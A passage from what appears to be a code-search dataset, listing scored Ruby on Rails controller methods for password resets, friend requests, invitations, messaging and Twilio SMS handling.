"text": "def reset_password\n @user.send_reset_password_instructions\n flash.notice = t(\"users.reset_password.email_sent\")\n\n respond_to do |format|\n format.html {redirect_to(users_url)}\n format.xml {head :ok}\n end\n end",
"title": ""
},
{
"docid": "bf7715b2b7bf676ecc1ebf1f86567a4a",
"score": "0.5258412",
"text": "def decline_request\n render_401 and return unless current_user\n req = Request.find_by_id(params[:id])\n render_404 and return unless req\n from_user = User.find_by_id(req.from_id)\n render_404 and return unless from_user\n\n success = current_user.decline_request_from(from_user)\n \n message = (success ? User::REQUEST_DECLINED : User::REQUEST_FAILED)\n message.gsub!('{{user}}', from_user.name)\n return_val = {\n :success => success,\n :message => message,\n :post_text => \"Send Request\",\n :post_href => '#request_send',\n :post_special => \"/request/#{from_user.id}/send\"\n }\n\n render :json => return_val\n end",
"title": ""
},
{
"docid": "e4299dcbdcd08ef402c6127362bf3f85",
"score": "0.52516806",
"text": "def resend_invitation_email(user)\n Rails.logger.warn \"User #{current_inviter.id} - #{current_inviter.email} is resending invitation to #{user.email} that was already invited on #{user.invitation_sent_at}\"\n Devise.mailer.invitation_instructions(user, user.unencrypted_invitation_token).deliver_later\n current_inviter.update invitations_count: (current_inviter.invitations_count + 1)\n return\n end",
"title": ""
},
{
"docid": "a7d71d663b88956a7187454a02fb8d44",
"score": "0.52492434",
"text": "def send_msg\n\t@current_user_name = User.find_by_user_info_id(current_user.id)\n\t@message=Message.new(params[:message])\n\t@message.message_author_id = current_user.id\n\t@message.receiver_id= params[:id] if params[:id] && !params[:id].blank?\n\tif @message.save\n\t\t@receiver= User.find_by_user_info_id(@message.receiver_id).first_name\n\t\t@receiver_email= UserInfo.find_by_id(@message.receiver_id).email\n\t\tflash[:notice]=\"Message has been sent successfully.\"\n\t\tNotifier::deliver_mail_for_reply(@message,@current_user_name,@receiver,@receiver_email,request.host_with_port) \n redirect_to :controller => \"users\", :action => \"profile_personal_details\", :id => session[:user_info_id]\n\telse\n\t\tflash[:notice]=\"Message can't be blank.\"\n\t\tredirect_to :controller => \"users\", :action => \"profile_personal_details\", :id => session[:user_info_id]\n\tend\n end",
"title": ""
},
{
"docid": "b5f1f16e1e15995381b28bc3a1a08b1e",
"score": "0.5246981",
"text": "def forward\n\tget_messages.each {|msg| @client.account.messages.create(to: params[:From], from: ENV['PRIVATE_SMS_NUMBER'], body: msg.body) }\n\t#If your account is rate limited, this will probably time out and cause an error.\n\t\"<Response/>\"\nend",
"title": ""
},
{
"docid": "0721a62a337f3985296b73ef8cc0c937",
"score": "0.52444804",
"text": "def update\n respond_to do |format|\n @message.update!(message_params)\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "be38b6292e498946f3a7fedbc04b7774",
"score": "0.52434534",
"text": "def update\n @mail = Mail.find(params[:id])\n @to = @mail.to[0..-2]\n respond_to do |format|\n @mail.update_attribute(:to, @to)\n if @mail.update_attributes(params[:mail])\n format.html { redirect_to @mail, notice: 'Mail was successfully sent.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "186a50162cf876629ddae000c21afd42",
"score": "0.5242125",
"text": "def incoming\n message = params[:Body]\n # cut off the +1 from the phone number for a legit phone number\n from_number = params[:From].to_s.sub('+1', '')\n \n #if the user sent a message for info\n if /info/i.match(message)\n SmsMessage.send_info_message_to_phone_number(from_number)\n elsif /stop/i.match(message)\n user = User.find_by_phone_number(from_number)\n user.disable_all_alerts unless user.nil?\n SmsMessage.send_disabled_message_to_phone_number(user.phone_number)\n end\n \n # send emtpty response to twilio (since we reply to the request above)\n render :text => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><Response></Response>'\n end",
"title": ""
}
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.